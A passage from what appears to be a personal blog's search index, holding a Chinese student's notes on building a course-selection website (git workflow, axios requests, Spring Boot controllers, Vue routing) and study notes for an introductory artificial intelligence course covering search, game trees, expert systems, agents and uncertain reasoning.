\u0026lt;subject\u0026gt; \u0026lt;body\u0026gt; \u0026lt;footer\u0026gt; 大致分为三个部分(使用空行分割):\n标题行: 必填, 描述主要修改类型和内容 主题内容: 描述为什么修改, 做了什么样的修改, 以及开发的思路等等 页脚注释: 放 Breaking Changes 或 Closed Issues type\ncommit 的类型：\nfeat: 新功能、新特性 fix: 修改 bug perf: 更改代码，以提高性能（在不影响代码内部行为的前提下，对程序性能进行优化） refactor: 代码重构（重构，在不影响代码内部行为、功能下的代码修改） docs: 文档修改 style: 代码格式修改, 注意不是 css 修改（例如分号修改） test: 测试用例新增、修改 build: 影响项目构建或依赖项修改 revert: 恢复上一次提交 ci: 持续集成相关文件修改 chore: 其他修改（不在上述类型中的修改） release: 发布新版本 workflow: 工作流相关文件修改 scope\ncommit 影响的范围, 比如: route, component, utils, build\u0026hellip;\nsubject\ncommit 的概述\nbody\ncommit 具体修改内容, 可以分为多行.\nfooter\n一些备注, 通常是 BREAKING CHANGE 或修复的 bug 的链接.\n分支切换 # 切换到某一次的提交记录上 git checkout [提交的sha256] # 切换到另一分支上 git checkout [另外一个分支名字] # 也可以用git switch来进行切换 # git stash 是用于暂存工作目录中的更改的 Git 命令，以便你可以切换到其他分支或执行其他操作。 git stash # 暂存更改 git stash list # 列出所有的 stash git stash apply # 应用最新的 stash git stash save \u0026#34;你的 stash 描述\u0026#34; # 并应用特定的 stash： git stash apply stash@{2} # 请记住，stash 是一种临时保存更改的方法，你可以根据需要应用或丢弃 stash。 要舍弃本地的所有更改并与远程仓库保持同步 确保当前分支上没有未提交的更改：\ngit reset --hard HEAD 这将取消所有本地的未提交更改，将工作目录和暂存区恢复到最近的一次提交状态。\n拉取远程仓库的最新更改：\ngit pull origin \u0026lt;分支名称\u0026gt; 请将 \u0026lt;分支名称\u0026gt; 替换为你想要同步的远程分支的名称。这将获取远程仓库的最新更改并将其合并到你的本地分支。\n提交到远程仓库上时进行整理 git rebase -i HEAD~n 在这里，n 是你想要整理的提交数量。然后，你可以合并、编辑或删除提交。\n请注意，使用 rebase 可能会改写提交历史，因此只有在你尚未将提交推送到远程仓库或你知道如何处理已推送更改时才应使用。如果你已经将更改推送到远程仓库，使用 rebase 可能会导致问题，因为它修改了提交的哈希值。\nRESTful接口设计 前后端接口设计此次采用的时RESTful接口设计，常用的方法时GRT，POST，DELETE。API文档管理和测试用的FOXAPI平台，使用体验还行，基本的功能都能满足。下次可以试一下postman，swimm，readme等其他api管理和测试平台。\n这是一个使用axios.get方法的例子，查询参数是放在params中。\nasync queryCourses() { const apiUrl = `${this.host}/api/courses`; const queryParams = { .\t..... }; await axios.get(apiUrl, { params: queryParams }) .then(response =\u0026gt; { ...... }, error =\u0026gt; { ...... }) }, 使用axios.post的例子，请求体直接放在方法里面就可以。\nconst requestBody = []; this.selectedCourses.forEach((course) =\u0026gt; { requestBody.push({ course_id: course.course_id, course_name: course.course_name, teacher_id: course.teacher_id, teacher_name: course.teacher_name, capacity: course.capacity, selected_number: course.selected_number, time: course.time, }); }); console.log(\u0026#34;选课请求发送的 requestBody\u0026#34;, requestBody); const apiUrl = `${this.host}/api/students/${this.userId}/courses`; const response = await axios.post(apiUrl, requestBody); 后端在接收get请求和post请求的时候对传递参数的解析方法是不一样的，get方法要从params中获取，post方法就直接从body中读取。\n// GET方法 @GetMapping(\u0026#34;/students/{userId}/courses\u0026#34;) public Result selectedclass(@PathVariable(\u0026#34;userId\u0026#34;) String userId) throws JsonProcessingException { List\u0026lt;SelectedCourses\u0026gt; selectno = selectedCoursesService.lambdaQuery() .eq(SelectedCourses::getStudentId, userId).list(); if (selectno.size() == 0) return Result.fail(); List\u0026lt;String\u0026gt; response = new ArrayList\u0026lt;\u0026gt;(); Integer no; int courseid, teacherid; Courses courses = new Courses(); for (int i = 0; i \u0026lt; selectno.size(); i++) { no = selectno.get(i).getCurrentCourseId(); List\u0026lt;CurrentCourses\u0026gt; list = currentCoursesService.lambdaQuery() .eq(CurrentCourses::getNo, no).list(); courseid = list.get(0).getCourseId(); courses.setCourse_id(courseid); List\u0026lt;CoursePlan\u0026gt; coursesname = coursePlanService.lambdaQuery() .eq(CoursePlan::getCourseId, courseid).list(); courses.setCourse_name(coursesname.get(0).getCourseName()); teacherid = list.get(0).getTeacherId(); courses.setTeacher_id(teacherid); List\u0026lt;Teachers\u0026gt; teachersname = teachersService.lambdaQuery() .eq(Teachers::getId, teacherid).list(); courses.setTeacher_name(teachersname.get(0).getName()); courses.setCapacity(50); no = list.get(0).getNo(); List\u0026lt;SelectedCourses\u0026gt; selectno1 = selectedCoursesService.lambdaQuery() .eq(SelectedCourses::getCurrentCourseId, no).list(); courses.setSelected_number(selectno1.size()); courses.setTime(list.get(0).getTime()); ObjectMapper mapper = new ObjectMapper(); String json = mapper.writeValueAsString(courses); response.add(i, json); } return selectno.size() \u0026gt; 0 ? Result.suc(response, selectno.size()) : Result.fail(); } // POST方法 @PostMapping(\u0026#34;/students/{userId}/courses\u0026#34;) public Result selectedclass(@PathVariable(\u0026#34;userId\u0026#34;) String userid, @RequestBody List\u0026lt;Courses\u0026gt; courses) { Integer i = null; if (userid != null) { i = Integer.valueOf(userid); } for (int j = 0; j \u0026lt; courses.size(); j++) { List\u0026lt;SelectedCourses\u0026gt; selectno = selectedCoursesService.lambdaQuery() .eq(SelectedCourses::getStudentId, userid).list(); for (int k = 0; k \u0026lt; selectno.size(); k++) { List\u0026lt;CurrentCourses\u0026gt; curtime = currentCoursesService.lambdaQuery() .eq(CurrentCourses::getNo, selectno.get(k).getCurrentCourseId()).list(); // 重复选择同一门课 if (Objects.equals(curtime.get(0).getCourseId(), courses.get(j).getCourse_id())) return Result.fail(\u0026#34;已选择该课程\u0026#34;); // 选课时间冲突 else if (Objects.equals(curtime.get(0).getTime(), courses.get(j).getTime())) return Result.fail(\u0026#34;选课时间冲突\u0026#34;); } List\u0026lt;CurrentCourses\u0026gt; selectcourse = currentCoursesService.lambdaQuery() .eq(CurrentCourses::getTime, courses.get(j).getTime()) .eq(CurrentCourses::getCourseId, courses.get(j).getCourse_id()) .eq(CurrentCourses::getTeacherId, courses.get(j).getTeacher_id()).list(); List\u0026lt;SelectedCourses\u0026gt; selectedCourse = selectedCoursesService.lambdaQuery() .eq(SelectedCourses::getStudentId, userid) .eq(SelectedCourses::getCurrentCourseId, selectcourse.get(0).getNo()).list(); List\u0026lt;SelectedCourses\u0026gt; num = selectedCoursesService.lambdaQuery() .eq(SelectedCourses::getCurrentCourseId, selectcourse.get(0).getNo()).list(); if (num.size() == 50) return Result.fail(\u0026#34;课程容量已满\u0026#34;); SelectedCourses selectedCourses = new SelectedCourses(); if (selectedCourse.size() \u0026gt; 0) return Result.fail(); else { selectedCourses.setCurrentCourseId(selectcourse.get(0).getNo()); selectedCourses.setStudentId(i); selectedCourses.setKscj(null); selectedCourses.setPscj(null); selectedCourses.setScore(null); boolean savecourse = selectedCoursesService.save(selectedCourses); if (savecourse) continue; else return Result.fail(); } } return Result.suc(); } // DELETE方法 @DeleteMapping(\u0026#34;/students/{userId}/courses\u0026#34;) public Result delcourse(@RequestBody List\u0026lt;Courses\u0026gt; courses, @PathVariable(\u0026#34;userId\u0026#34;) String userid) { Integer i = null; if (userid != null) { i = Integer.valueOf(userid); } for (int j = 0; j \u0026lt; courses.size(); j++) { List\u0026lt;CurrentCourses\u0026gt; selectcourse = currentCoursesService.lambdaQuery() .eq(CurrentCourses::getTime, courses.get(j).getTime()) .eq(CurrentCourses::getCourseId, courses.get(j).getCourse_id()) .eq(CurrentCourses::getTeacherId, courses.get(j).getTeacher_id()).list(); List\u0026lt;SelectedCourses\u0026gt; selectedCourse = selectedCoursesService.lambdaQuery() .eq(SelectedCourses::getStudentId, userid) .eq(SelectedCourses::getCurrentCourseId, selectcourse.get(0).getNo()).list(); if (selectedCourse.size() == 0) return Result.fail(); else { Map\u0026lt;String, Object\u0026gt; selmap = new HashMap\u0026lt;\u0026gt;(); selmap.put(\u0026#34;student_id\u0026#34;, i); selmap.put(\u0026#34;current_course_id\u0026#34;, selectcourse.get(0).getNo()); boolean savecourse = selectedCoursesService.removeByMap(selmap); if (savecourse) continue; else return Result.fail(); } } return Result.suc(); } 前端部分问题记录 路由传参问题 在Web开发中，路由传参是一种将数据传递到Web应用程序的特定页面或组件的方式。具体的方式可能因框架或库的不同而异，以下是一些常见的路由传参方式：\n路径参数（Path Parameters）:\n将参数直接包含在URL路径中，通常由冒号（:）标识。这些参数可以通过路由处理器提取和解析。 /users/:userId 在这个例子中，:userId 是一个路径参数，它可以被替换为具体的用户ID，比如 /users/123。\n查询参数（Query Parameters）:\n将参数追加到URL的末尾，通常以问号（?）开始，参数之间用和号（\u0026amp;）分隔。 /search?query=example\u0026amp;page=1 在这个例子中，query 和 page 是查询参数。\n请求体（Request Body）:\n对于POST请求或其他HTTP方法，参数可以通过请求体传递。这对于传递较大的数据或复杂的对象很有用。 { \u0026#34;username\u0026#34;: \u0026#34;john_doe\u0026#34;, \u0026#34;password\u0026#34;: \u0026#34;secret\u0026#34; } 这是一个JSON格式的请求体示例。\nCookie:\n通过HTTP Cookie传递参数。Cookies是在客户端和服务器之间交换的小型数据片段，可以包含有关用户的信息。 Set-Cookie: username=john_doe; path=/ 在这个例子中，username 是一个Cookie，它可以在后续请求中被服务器读取。\n状态管理（State Management）:\n使用状态管理库（如React中的Redux）或框架提供的状态管理工具，将参数保存在全局状态中，以便在整个应用程序中共享和访问。 组件传递参数和URL的关系 这里想说两个传递参数的问题，一个是vue的各个组件之间传递参数，另外一个是通过this.$router.push方法如何传递。\n在vue的父子组件中，通过props进行传递 在父组件的template中，在标签中通过 :参数 的方法进行传递参数。\n\u0026lt;div v-else-if=\u0026#34;selectedFunction === \u0026#39;成绩查询\u0026#39;\u0026#34;\u0026gt; \u0026lt;StudentQueryScore :myCourses=\u0026#34;myScores\u0026#34;\u0026gt;\u0026lt;/StudentQueryScore\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;script\u0026gt; import StudentQueryScore from \u0026#34;./StudentQueryScore.vue\u0026#34;; export default { name: \u0026#34;StudentPages\u0026#34;, components: { StudentQueryScore, }, \u0026lt;/script\u0026gt; 在子组件中的props中，进行接收，就可以在该文件中用this.myCourses进行使用。\n\u0026lt;script\u0026gt; export default { name: \u0026#34;studentQueryScore\u0026#34;, props: { myCourses: { type: Array, required: true, }, }, }; \u0026lt;/script\u0026gt; 通过this.$router.push方法传递 这是在逻辑上处理页面跳转，就没用到在template中的点击组件的方法，而是在中进行判断直接跳转，就用到了this.$router.push方法。\n// 处理登录成功后的逻辑 if (response.data.data.roleId === 1) { this.$router.push({ name: \u0026#39;students\u0026#39;, params: { userId: id, userName: response.data.data.userName } }); } else { this.$router.push({ name: \u0026#39;teachers\u0026#39;, params: { userId: id, userName: response.data.data.userName } }); } 该方法需要在路由中进行设置，把需要传递的参数写到path上。同时在成功登陆后网站的URL也会出现该用户的ID和姓名。这个方法可以保证网站在该页面刷新之后信息不会丢失。但是缺点就是不太美观。\n// router/index.js import { createRouter, createWebHistory } from \u0026#39;vue-router\u0026#39; import IndexLogin from \u0026#39;@/views/IndexLogin.vue\u0026#39; const routes = [ { path: \u0026#39;/\u0026#39;, name: \u0026#39;home\u0026#39;, component: IndexLogin }, { path: \u0026#39;/students/:userId/:userName\u0026#39;, name: \u0026#39;students\u0026#39;, component: () =\u0026gt; import(\u0026#39;../views/StudentPages.vue\u0026#39;), }, { path: \u0026#39;/teachers/:userId/:userName\u0026#39;, name: \u0026#39;teachers\u0026#39;, component: () =\u0026gt; import(\u0026#39;../views/TeacherPages.vue\u0026#39;), }, ] const router = createRouter({ history: createWebHistory(process.env.BASE_URL), routes: routes }) export default router 改进的方法也有：\n隐藏参数值：\n如果用户ID和姓名不是敏感信息，你可以考虑对它们进行某种形式的哈希处理，以将其值隐藏在URL中。这样可以增加一定的安全性。 使用查询参数：\n考虑将用户ID和姓名放在查询参数中而不是路径参数中。查询参数的形式在某种程度上可以更灵活，也可能更符合美观的设计。 plaintextCopy code /profile?userId=123\u0026amp;username=john_doe 使用状态管理：\n使用前端的状态管理库，例如React中的Redux，可以在不显示在URL中的情况下保持应用程序的状态。这样可以避免在URL中公开敏感信息。 Session 或 Cookie:\n将用户ID和姓名存储在会话（session）中或通过Cookie进行管理。这样信息将在服务器端或客户端之间传递，而不会直接显示在URL中。 element-plus UI使用 网站的UI框架可以在很大程度上帮助我不用过多考虑样式的美观，只需要使用框架中提供好的样式就可以了。\n浏览器调试前端界面 在浏览器控制台可以进行对应的调试，我这次主要采用的方式主要是console.log的方式进行，检查关键数据是否正确。\n断点的方式也行。\n更换网站logo记录 更换网站logo是在/public/index.html中直接设置，\n\u0026lt;!--更换icon为/public/favicon.ico--\u0026gt; \u0026lt;link rel=\u0026#34;icon\u0026#34; href=\u0026#34;\u0026lt;%= BASE_URL %\u0026gt;favicon.ico\u0026#34;\u0026gt; json数组解析，map映射，直接赋值 后端通过接口传递过来的数据在response.data.data中。可以把response.data打印在控制台上看他里面的结构，再进行解析。\n有时候传递过来的结构体可以直接进行赋值，也可以通过map映射到结构体上，也可以通过解析json的方式进行。\n// example 1 const courseData = response.data.data; this.courseInfo = courseData.map((course) =\u0026gt; { const selectedCourse = JSON.parse(course); return { course_id: selectedCourse.course_id, course_name: selectedCourse.course_name, teacher_id: selectedCourse.teacher_id, teacher_name: selectedCourse.teacher_name, capacity: selectedCourse.capacity, selected_number: selectedCourse.selected_number, time: selectedCourse.time }; }); // example 2 const scoreData = response.data; this.myScores = scoreData.data.map(score =\u0026gt; JSON.parse(score)); 后端部分问题记录 maven项目构建 主要不是在负责后端项目，所以对后端的一些细节不清楚。这次我们团队使用maven进行项目构建，主要的依赖和配置文件都是在pom.xml文件中，然后使用maven build等命令安装依赖让项目跑起来。\n","permalink":"https://sirius2alpha.github.io/posts/notes/4-archive/%E9%A1%B9%E7%9B%AE%E5%BD%92%E6%A1%A3/aorb/dev-coursesystem/","summary":"第一次全栈开发记录\n简介 这是数据库原理1的课程项目，做的是一个教务网站，功能主要包括：\n学生功能： (1) 选课功能；\n(2) 退课功能；\n(3) 成绩查询功能；\n(4) 课表查询功能。\n教师功能： (1) 查看开课详情；\n(2) 录入学生成绩。\n下面是主要用的技术桟，我在团队中主要负责的时技术选型、前端界面设计、前后端接口设计、数据库部分的设计、团队的代码管理。\n项目设计团队协作部分记录 git团队使用问题（分支管理、常用命令、git commit信息，git stash 本地仓库初始化，连接远程仓库 # 仓库初始化 git init # 设置远程仓库 git remote add origin https://github.com/sirius2alpha/CourseSystem.git # 检查是否设置成功 git remote -v # 输出 # origin\thttps://github.com/sirius2alpha/CourseSystem.git (fetch) # origin\thttps://github.com/sirius2alpha/CourseSystem.git (push) # 获取远程仓库的信息 git fetch origin # 设置远程上游分支 git branch --set-upstream-to=origin/main main # 或者可以采用 git branch -u \u0026lt;remote\u0026gt;/\u0026lt;branch\u0026gt; # 如果出现main分支不存在的情况，则用checkout命令切换到main分支上再继续 git checkout main # 检查上游分支设置 git branch -vv 工作区代码推送到远程仓库上 git add .","title":"第一次全栈开发记录"},{"content":"基本概念 语义角色 指有关语言成分在语句所表达的事件中所扮演的参与者角色\n在自然语言处理中对自然语言进行划分处理称为各个语义角色，其中每个语义角色相互依赖，相互关联\n常见的语义角色类型有：施事、受事、与事、工具、方式、时间、处所、结果、目的、原因等 例如对于语句：小明昨天晚上在公园遇到了小红\n就可以分为Agent、Time、Location、Predicate、Patient等角色\n语义角色从一开始的6个扩充到了现在的13个，依据是美国语言学家查理斯·费尔莫尔提出的“格语法”\n机器学习 让计算机能够像人一样自动获取新知识，并且在实践中不断完善自我和增强能力 启发函数\u0026amp;估值函数 启发函数：对当前结点到大目标结点未来可能需要付出的代价的估计\n对于同一个问题，可能有不同的启发函数，不同的启发函数带来的效果良莠不齐，而各个节点的代价函数是统一确定的，因此选择和优化启发函数是至关重要的\n估值函数：为了防止在单独利用启发函数的时候误入歧途，会将启发函数和代价函数结合生成估值函数；即初始结点到达结点x处已经付出的代价与结点x到达目标结点的接近程度估计值的总和\n语义标注 在NLP领域中对于自然语言进行分割，并且对每个部分都判断是什么类型的语义角色\n语义角色标注是一种浅层的语义分析技术，它只标注谓词（谓语动词、名词、形容词）的语义角色\n例如：\n昨天张三在家吃苹果。\n谓语动词“吃”的语义角色有：施事-张三，受事-苹果，时间-昨天，处所-家\n博弈树 将双人完备的信息博弈过程用图表示出来，能得到一颗与或树，称为博弈树\n在博弈树中，下一步该MAX走步的结点称为MAX结点；下一步该MIN走步的结点称为MIN结点 博弈树特点： 初始状态为初始结点 博弈树中的或结点和与结点是逐层交替出现的 整个博弈过程都是站在某一方的立场上，所有能使自己获胜的都是本源问题，相应的结点都是可解结点；所有会使对方获胜的结点都是不可解结点 博弈树采用变对子结点进行估值函数计算，再扩展结点的方法，使用的是极大极小化分析，因此引申出了阿尔法-贝塔剪枝\n阿尔法-贝塔剪枝： 阿尔法剪枝： 对于一个MIN结点，如果能够推导出其上确界b，并且b不大于MIN结点的父节点下确界a（即a \u0026gt;= b），则不必再扩展MIN结点的其他子结点了，剪枝即可 贝塔剪枝： 对于一个MAX结点，如果能够推导出其下确界a，并且a不小于MAX结点的父节点上确界b（即a \u0026gt;= b），则不必再扩展MAX结点的其他子结点了，剪枝即可 专家系统 专家系统的概念：\n专家系统是一种智能的计算机程序，它运用知识和推理来解决只有专家才能解决的复杂问题\n专家系统的组成：\n专家\u0026mdash;-知识库\u0026mdash;-推理机\u0026mdash;-系统用户\n专家系统的特点：\n有专家水平的专业知识、能进行有效的推理、启发性、灵活性、透明性、交互性\n知识库与推理机分离、具有解释功能\n专家系统的类型：\n按照解决类型划分：解释、诊断、预测、设计、规划、控制\u0026hellip;\u0026hellip; 按照应用类型划分：化学、电子学、地质学\u0026hellip;\u0026hellip; 按照系统体系结构划分：集中式、分布式、云计算 按照知识表示形式划分：基于规则、基于一阶谓词、基于框架、基于语义网 按照采用技术划分：符号推断、神经网络 专家系统实例：\n医学专家系统——MYCIN 系统使用INTER LISP语言编写 推理策略：反向推理、深度优先的搜索 地质勘探专家系统——PROSPECTOR 推理方式：似然推理、逻辑推理、上下文推理 希望树 在启发式搜索与或树的过程中，有希望成为最优解树的部分结点所组成的树\n定义如下：\n初始结点S0一定在希望树中 如果结点x在希望树中，则一定有： 如果x是具有子结点的或结点，则其具有最小代价的子结点一定在希望树中 如果x是具有子结点的与结点，则其全部子结点都在希望树中 与或树的有序搜索过程本质上是寻找希望树的过程，因此随着搜索深度的增加，希望树也会随之变化\nAgent Agent的概念：\n一种能够在一定环境中自主运行和自主交互，以满足其设计目标的计算实体\n按照属性区分Agent：\n反应Agent：Agent中包含了感知内外部状态变化的感知器、一组对相关事件作出反应的过程,和一个依据感知器激活某过程执行的控制系统,Agent的活动是由于受到内外部某种\u0026quot;刺激\u0026quot;而发生的 认知Agent：Agent中包含了显式表示的世界符号模型,Agent的决策是通过基于模板匹配和符号操作的逻辑(或准逻辑)推理作出的,如同人们通过\u0026quot;深思熟虑\u0026quot;后作出决定一样 混合Agent：Agent中包含了认知式和反应式两个子系统,通常这两个子系统是分层次的,前者建立在后者的基础之上 按照存储方式区分多Agent系统：\n反应式多Agent系统：系统由反应式Agent构成，其行为以对环境的感知为基础 黑板模式多Agent系统：系统中的信息均存储在一个称为黑板的存储区内 分布式存储多Agent系统：系统中的Agent通过数据封装拥有自己的私有信息，并且利用消息通信实现不同Agent之间信息交换、知识共享和协作求解 Agent通信：\n指多Agent系统中不同Agent之间的信息交换，其基本问题包括\n通信方式\n常用的有消息传送和黑板系统\n通信语言\n常用语言有知识查询和操纵语言KQML\n对话管理\n通信协议：\n包括底层和高层的协议。底层的有TCP、HTTP、FTP等；高层的有有限状态自动机和Petri网等\n移动Agent：\n一种可以从网络上一个结点自主移动到另一个结点，实现分布式问题处理的特殊Agent，由移动Agent和移动Agent环境两部分组成\n决策树 一种由结点和边构成的用来描述分类过程的层次数据结构\n一般可以通过：信息增益、增益率、基尼系数等属性来划分\nID3决策树以信息增益来选择划分属性： 熵：$$Entropy(S) = \\sum_{i = 1}^{c}{-p_ilog_2p_i}$$，其中S为训练样例集，c为标记值的总数，pi为第i个标记值的样例子集占的比例 如果p=0，则总体为0 信息增益：$$Gain(S,A) = Entropy(S) - \\sum_{v \\in Values(A)}{\\frac{|S_v|}{|S|}Entropy(S_v)}$$，其中S为训练样例集，A为某个属性，Sv为属性A取值为v的样例集 Horn子句及其类型 原子公式以及其否定被称为文字，前者为正文字，后者为负文字；一条子句包含若干正文字和若干负文字；因此可将字句的一般形式表示为：\n至多含有一个正文字（即箭头左侧至多只有一个子句）的子句被称为Horn子句，一共有三种Horn子句的形式：\n可以使用Horn子句进行推理的归结，由此衍生出了Prolog语言\n基本问题 人工智能的主要内容有哪些？ 机器学习：让机器从数据中学习并不断优化自己 自然语言处理：让机器能够理解、分析、生成自然语言 计算机视觉：让机器能够感知、理解和识别图像和视频信息 机器人学：让机器能够感知环境并且执行任务，包括物理机器人和虚拟机器人 智能决策：通关算法和数据分析让机器能够作出可靠的决策 人工智能伦理：讨论人工智能应用过程中的伦理问题和社会影响 什么是A算法和A*算法 不管是A算法还是A*算法，都使用了相似的算法思路，即：根据启发函数的值来选择下一步搜索的目标\nA算法：\n估值函数如下：$$估值函数f(x) = 代价函数g(x) + 启发函数h(x)$$\nA*算法：\n在A算法的基础上，对启发函数做了进一步的限制：对所有的结点x均有h(x) \u0026lt;= h(x)*，其中h*(x)是从结点x到目标结点的实际的最小代价\n显然，如果我们始终让h(x)=0，那么一定能够满足h(x) \u0026lt;= h*(x)，然而这样做效率会大大降低，不符合A*算法的初衷，因此在实际应用中，定义的h(x)应当尽可能大，使其接近h*(x)\n全局择优搜索、局部择优搜索 全局择优搜索：\n每当需要扩展结点的时候，总是从Open表中的所有结点选取一个估值函数最小的结点进行扩展\n局部择优搜索：\n每当需要扩展结点的时候，总是从刚生成的子结点中选择一个估值函数最小的结点进行扩展\n替换与合一的含义 替换： 一个替换是形如{t1/x1, t2/x2 \u0026hellip; , tn/xn}的有限集合，其中ti是项，称为替换的分子；xi是互不相同的个体变元，称为替换的分母 ti和xi不同，xi不循环出现在tj中 ti/xi表示用ti替换xi 若其中ti是不含变元的项，则该替换为基替换 没有元素的替换称为空替换 合一： 设有一个公式集F={F1,F2,F3 \u0026hellip; FN}，若存在一个替换Ω，使得F1Ω=F2Ω= \u0026hellip; = FNΩ，则称Ω为F的一个合一，称F为可合一的 简述正向推理和反向推理的过程 正向推理： 把用户提供的初始证据放入综合数据库 检查综合数据库中是否包含问题的解，若已包含，则求解结束，并成功退出；否则进入下一步 检查知识库中是否有可用的知识，若有，则形成当前可用的知识集，执行下一步；否则转第5步 按照某种冲突消解策略，从当前可用知识集中选出一条规则进行推理，并将推出的新事实加入综合数据库中，然后转2 询问用户是否可以进一步补充新的事实，若可以补充，则将补充的新事实加入综合数据库，然后转3；否则表示无解，失败退出 简单来说就是（证据 -\u0026gt; 结论）的流程\n反向推理： 将要求证的目标（称为假设）构成一个假设集 从假设集中选出一个假设，检查该假设是否在综合数据库中，若在，则该假设成立，此时，若假设集为空，则成功退出，否则仍执行第2步；若该假设不在数据库中，则执行下一步 检查该假设是否可以由知识库的某个知识导出，若不能，则询问用户该假设是否为可由用户证实的原始事实，若是，假设成立，将其放入综合数据库，再重新寻找新的假设，若不是，则转5；若能由某个知识导出，则执行下一步 将知识库中可以导出该假设的所有知识构成一个可用知识集 检查可用知识集是否为空，若是，则失败退出；否则执行下一步 按冲突消解策略从可用知识集中取出一个知识，继续 将该知识的前提中的每个子条件都作为新的假设放入假设集，然后转2 Agent的基本特征 自主性、反应性、协调性、社会性、推理性、个性、移动性 机器学习（形式定义） 让计算机能够像人一样自动获取新知识，并且在实践中不断完善自我和增强能力 图灵测试、中文屋子 图灵测试： 一位测试主持+两位被测对象 被测对象：人、机器 隔离：通过计算机终端通信 被测对象回答具有智能性的问题 如果主持人分辨出人和机器的概率小于50%（30%），则通过图灵测试 中文屋子（模拟图灵测试）： 一个人（扮演计算机的CPU）在一个封闭的房子里，有输入和输出与外部相通 输入的问题是中文的，但此人不懂中文；而屋子里有一本英语的指令手册（相当于程序），从中可以找到对应的规则 他按照规则办事，并且将结果写成中文进行输出，看上去就好像他懂中文一样 中文屋子是用来反驳图灵测试对于强人工智能的定义的\n基于词和基于字的分词方法 汉语自动分词方法\n基于字的分词方法：\n将分词转化为给字贴标签，形式化为机器学习中的序列标记问题\n根据字在词中的位置一般有四个标记：词首B、词中M、词尾E、独立成词S\n例如下列句子：\n自然语言处理是人工智能的分支学科\n在每一个字后面都加上标记后的序列如下：\n自/B 然/M 语/M 言/M 处/M 理/E 是/S 人/B 工/M 智/M 能/E 的/S 分/B 支/E 学/B 科/E\n对每一句句子加完标签后重新扫描，就可以获得词的序列了\n基于词的分词方法：\n采用正向最大匹配法：遍历词典中有的词，并且去长度最大的进行分割\n其他方法论 求最一般合一（MGU） 可信度方法（C-F模型） 公式如下：\n其中MB表示信任增长度，MD表示不信任增长度，两者的绝对值相等\n其中由于CF值会有复数个前提条件，因此对于重复结论的CF值的计算如下：\n主观Bayes方法 在很多时候同一个事件的结果对应的前提条件是没有可复制性的，此时P（A｜B）就是一个不必要的概率，在主观bayes方法中将其解释为：在证据B的基础上，假设A的似然性\n几率函数：$$O(x) = \\frac{P(x)}{1 - P(x)}$$\n反过来也可以用已知的几率推出似然性：$$P(x) = \\frac{O(x)}{1 + O(x)}$$\nLS（充分性量度）：\nE为真时，对结论H的支持程度，定义为：$$LS = \\frac{P(E|H)}{P(E|¬H)}$$\nLN（必要性量度）：\n¬E为真时，对结论H的支持程度，定义为：$$LN = \\frac{P(¬E|H)}{P(¬E|¬H)} = \\frac{1 - P(E|H)}{1 - P(E|¬H)}$$\nLS和LN一般由专家给出\n主观Bayes方法推理的任务就是根据证据E得概率P（E）以及LS、LN，将H的先验概率更新为后验概率，即P(E) -\u0026gt; P(E|H)或者P(E|¬H)\n不确定性的传播与计算：\n由此可以推出EH公式（背就完事了）：\n在Prospector中引进了可信度的概念，让用户在-5到5这11个可信度中选取一个作为初始可信度C(E|S)，于是在一系列的公式推导之后得出了以下三组公式：\n这三组公式视情况使用\n传教士与野人过河问题 启发函数为$$h(x) = M + C - K * B$$，其中M为传教士人数、C为野人人数，K为船载人数，B为船只数量（这里为1）\n一元线性回归 这里使用最小二乘法 $$ L(w,b) = \\sum_{i = 1}^{n}{(y_i - \\widehat{y_i})^2} = \\sum_{i = 1}^{n}{(y_i - wx_i - b)^2} $$\n分别对w和b求偏导，并且让他们等于零，即可算出w和b的值 ","permalink":"https://sirius2alpha.github.io/posts/notes/4-archive/%E5%AD%A6%E4%B8%9A%E5%BD%92%E6%A1%A3/artificial_intelligence/","summary":"基本概念 语义角色 指有关语言成分在语句所表达的事件中所扮演的参与者角色\n在自然语言处理中对自然语言进行划分处理称为各个语义角色，其中每个语义角色相互依赖，相互关联\n常见的语义角色类型有：施事、受事、与事、工具、方式、时间、处所、结果、目的、原因等 例如对于语句：小明昨天晚上在公园遇到了小红\n就可以分为Agent、Time、Location、Predicate、Patient等角色\n语义角色从一开始的6个扩充到了现在的13个，依据是美国语言学家查理斯·费尔莫尔提出的“格语法”\n机器学习 让计算机能够像人一样自动获取新知识，并且在实践中不断完善自我和增强能力 启发函数\u0026amp;估值函数 启发函数：对当前结点到大目标结点未来可能需要付出的代价的估计\n对于同一个问题，可能有不同的启发函数，不同的启发函数带来的效果良莠不齐，而各个节点的代价函数是统一确定的，因此选择和优化启发函数是至关重要的\n估值函数：为了防止在单独利用启发函数的时候误入歧途，会将启发函数和代价函数结合生成估值函数；即初始结点到达结点x处已经付出的代价与结点x到达目标结点的接近程度估计值的总和\n语义标注 在NLP领域中对于自然语言进行分割，并且对每个部分都判断是什么类型的语义角色\n语义角色标注是一种浅层的语义分析技术，它只标注谓词（谓语动词、名词、形容词）的语义角色\n例如：\n昨天张三在家吃苹果。\n谓语动词“吃”的语义角色有：施事-张三，受事-苹果，时间-昨天，处所-家\n博弈树 将双人完备的信息博弈过程用图表示出来，能得到一颗与或树，称为博弈树\n在博弈树中，下一步该MAX走步的结点称为MAX结点；下一步该MIN走步的结点称为MIN结点 博弈树特点： 初始状态为初始结点 博弈树中的或结点和与结点是逐层交替出现的 整个博弈过程都是站在某一方的立场上，所有能使自己获胜的都是本源问题，相应的结点都是可解结点；所有会使对方获胜的结点都是不可解结点 博弈树采用变对子结点进行估值函数计算，再扩展结点的方法，使用的是极大极小化分析，因此引申出了阿尔法-贝塔剪枝\n阿尔法-贝塔剪枝： 阿尔法剪枝： 对于一个MIN结点，如果能够推导出其上确界b，并且b不大于MIN结点的父节点下确界a（即a \u0026gt;= b），则不必再扩展MIN结点的其他子结点了，剪枝即可 贝塔剪枝： 对于一个MAX结点，如果能够推导出其下确界a，并且a不小于MAX结点的父节点上确界b（即a \u0026gt;= b），则不必再扩展MAX结点的其他子结点了，剪枝即可 专家系统 专家系统的概念：\n专家系统是一种智能的计算机程序，它运用知识和推理来解决只有专家才能解决的复杂问题\n专家系统的组成：\n专家\u0026mdash;-知识库\u0026mdash;-推理机\u0026mdash;-系统用户\n专家系统的特点：\n有专家水平的专业知识、能进行有效的推理、启发性、灵活性、透明性、交互性\n知识库与推理机分离、具有解释功能\n专家系统的类型：\n按照解决类型划分：解释、诊断、预测、设计、规划、控制\u0026hellip;\u0026hellip; 按照应用类型划分：化学、电子学、地质学\u0026hellip;\u0026hellip; 按照系统体系结构划分：集中式、分布式、云计算 按照知识表示形式划分：基于规则、基于一阶谓词、基于框架、基于语义网 按照采用技术划分：符号推断、神经网络 